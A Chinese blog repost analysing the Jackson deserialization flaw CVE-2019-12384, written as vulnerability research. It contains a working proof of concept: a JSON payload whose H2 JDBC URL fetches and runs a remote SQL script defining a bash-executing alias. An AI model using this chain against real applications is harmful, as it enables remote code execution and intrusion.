热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CVE201912384:Jackson反序列化漏洞分析

 0x00 前言在某次渗透测试过程中,我们分析的某个应用使用Jackson库来反序列化JSON数据。经过分析后,我们找到了一个反序列化漏洞,可以用来控制待反序列化的类。在本文中,我们将分享攻击者如何利

 

0x00 前言

在某次渗透测试过程中,我们分析的某个应用使用Jackson库来反序列化JSON数据。经过分析后,我们找到了一个反序列化漏洞,可以用来控制待反序列化的类。在本文中,我们将分享攻击者如何利用这个反序列化漏洞发起SSRF(服务端请求伪造)以及RCE(远程代码执行)之类的攻击。

漏洞对应的编号为CVE-2019-12384,RedHat的多个分支受该漏洞影响,如下所示:

 

0x01 利用条件

根据Jackson开发者在某篇文章中提到的信息,触发这个Jackson漏洞需要满足如下要求:

1、目标应用接收来不可信客户端发送的JSON数据(可以手动编写代码或者使用不透明或者不可控的代码),这意味着我们无法约束正在发送的JSON数据;

2、目标应用使用多态类型处理方式来处理java.lang.Object类型(或者少数几个可使用的接口,如java.util.Serializablejava.util.Comparable)的属性;

3、目标应用至少包含能够在Java classpath中利用的一个“gadget”类。漏洞利用过程中需要用到能够配合Jackson的一个类。实际上,大多数gadget只能配合特定库使用,比如之前多次讨论过的JDK序列化场景;

4、目标应用使用的Jackson并没有阻止这个特定的“gadget”类。随着时间的推移,已发布的gadget数量越来越多,因此我们需要在gadget发现、报告和修补过程中占得先机。Jackson维护着一个黑名单列表,反序列化是平台的一个“功能”,官方会不断更新已报告的gadget黑名单。

在此次研究过程中,我们假设利用场景已满足条件1及条件2。实际上,我们重点寻找的是能够满足条件3及条件4的gadget。需要注意的是,Jackson是Java应用程序中最常使用的反序列化框架之一,而多态(polymorphism)是其中最重要的一个概念。如果攻击者使用静态分析工具或者其他动态分析技术(比如在请求/响应中grep查找@class)来寻找满足这些条件的利用点,那么这些目标定位起来并不是特别难。

 

0x02 环境准备

在研究过程中,我们开发了一款工具来帮助分析这类漏洞。当Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource时,我们可以滥用这个类来实例化JDBC链接。JDBC的全称是“(J)ava (D)ata(b)ase (C)onnectivity”,这是一个Java API,用来连接数据库并执行查询语句,也是JavaSE(Java Standard Edition)的一部分。此外,JDBC使用了字符串到类的自动化映射,因此在整条攻击链中,这是用来加载并执行更多“gadget”的绝佳目标。

为了演示攻击过程,我们准备了一个封装器(wrapper),用来加载攻击者指定的各种多态类。在环境方面,我们使用的是基于Java虚拟机(JVM)的jRuby,用来加载并实例化Java类。

我们使用该环境来加载指定目录中的Java类,准备满足条件1及条件2的Jackson环境。为了完成该任务,我们开发了如下jRuby脚本:

require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
cOntent= ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)

脚本主要执行如下操作:

1、第2行,加载classpath子目录中JAR中包含的所有类;

2、第5-13行,配置Jackson以满足漏洞利用条件;

3、第14-17行,反序列化及序列化以JSON形式传递给jRuby的一个Jackson多态对象。

 

0x03 Gadget

在此次研究中,我们决定使用Java社区中广泛使用的gadget。我们的目标库为Maven中排名前100位的所有库,以便演示攻击影响。

如果大家想复现攻击过程,可以下载如下程序库,将这些库存放在classpath目录中:


  • jackson-databind-2.9.8

  • jackson-annotations-2.9.8

  • jackson-core-2.9.8

  • logback-core-1.3.0-alpha4

  • h2-1.4.199

需要注意的是,SSRF攻击中并不需要使用h2库,因为根据我们的经验,大多数情况下Java应用至少会加载一个JDBC驱动。JDBC驱动也是一种类,当传入JDBC url时会被自动实例化,完整URL会以参数形式传入处理。

我们可以使用如下命令来调用之前开发好的脚本:

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]"

在脚本第15行,Jackson会使用子对象中的键值递归调用所有set方法。更具体一些,Jackson反射库会调用setUrl(String url),传入所需参数。此后(第17行),整个对象会被再次序列化为一个JSON对象。如果没有定义任何get方法,或者通过显示get方法,此时所有的字段都会被直接序列化。对我们来说比较有趣的是getConnection()。作为攻击者,实际上我们感兴趣的是所有的“non pure”(“非纯”)方法,通过控制参数,这些方法会存在一些有趣的“副作用”。

当调用getConnection时,代码会实例化一个内存数据库。由于目标应用生存周期较短,从攻击者视角来看,我们看不到任何影响。为了完成更有意义的任务,我们创建了到远程数据库的一个连接。如果目标应用以远程服务方式进行部署,那么攻击者可以达到SSRF(Server Side Request Forgery)效果,典型攻击场景如下图所示:

 

0x04 从SSRF到RCE

大家可能已经注意到,这些攻击场景都与DoS以及SSRF有关。在这种情况下,虽然攻击者可能影响应用的安全性,但我们还是想与大家分享如何通过一种简单有效的方法,将SSRF转换成完成的RCE攻击链。

为了在应用上下文中获得完整的代码执行权限,我们在环境中部署了加载H2 JDBC驱动的功能。H2是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此支持指定包含java代码的自定义别名。我们可以滥用这一点来执行任意代码。

我们可以通过python构建一个简单的HTTP服务器(比如python -m SimpleHttpServer),托管如下inject.sql INIT文件:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > exploited.txt')

然后通过如下方式运行测试应用:

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

这样就能实现RCE效果。


推荐阅读
  • 开发笔记:spring boot项目打成war包部署到服务器的步骤与注意事项
    本文介绍了将spring boot项目打成war包并部署到服务器的步骤与注意事项。通过本文的学习,读者可以了解到如何将spring boot项目打包成war包,并成功地部署到服务器上。 ... [详细]
  • 在Android中解析Gson解析json数据是很方便快捷的,可以直接将json数据解析成java对象或者集合。使用Gson解析json成对象时,默认将json里对应字段的值解析到java对象里对应字段的属性里面。然而,当我们自己定义的java对象里的属性名与json里的字段名不一样时,我们可以使用@SerializedName注解来将对象里的属性跟json里字段对应值匹配起来。本文介绍了使用@SerializedName注解解析json数据的方法,并给出了具体的使用示例。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 原文地址:https:www.cnblogs.combaoyipSpringBoot_YML.html1.在springboot中,有两种配置文件,一种 ... [详细]
  • Mac OS 升级到11.2.2 Eclipse打不开了,报错Failed to create the Java Virtual Machine
    本文介绍了在Mac OS升级到11.2.2版本后,使用Eclipse打开时出现报错Failed to create the Java Virtual Machine的问题,并提供了解决方法。 ... [详细]
  • 本文介绍了高校天文共享平台的开发过程中的思考和规划。该平台旨在为高校学生提供天象预报、科普知识、观测活动、图片分享等功能。文章分析了项目的技术栈选择、网站前端布局、业务流程、数据库结构等方面,并总结了项目存在的问题,如前后端未分离、代码混乱等。作者表示希望通过记录和规划,能够理清思路,进一步完善该平台。 ... [详细]
  • 本文介绍了如何使用C#制作Java+Mysql+Tomcat环境安装程序,实现一键式安装。通过将JDK、Mysql、Tomcat三者制作成一个安装包,解决了客户在安装软件时的复杂配置和繁琐问题,便于管理软件版本和系统集成。具体步骤包括配置JDK环境变量和安装Mysql服务,其中使用了MySQL Server 5.5社区版和my.ini文件。安装方法为通过命令行将目录转到mysql的bin目录下,执行mysqld --install MySQL5命令。 ... [详细]
  • IT方面的论坛太多了,有综合,有专业,有行业,在各个论坛里混了几年,体会颇深,以前是论坛哪里人多 ... [详细]
  • React项目中运用React技巧解决实际问题的总结
    本文总结了在React项目中如何运用React技巧解决一些实际问题,包括取消请求和页面卸载的关联,利用useEffect和AbortController等技术实现请求的取消。文章中的代码是简化后的例子,但思想是相通的。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
author-avatar
LoveCherryz
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有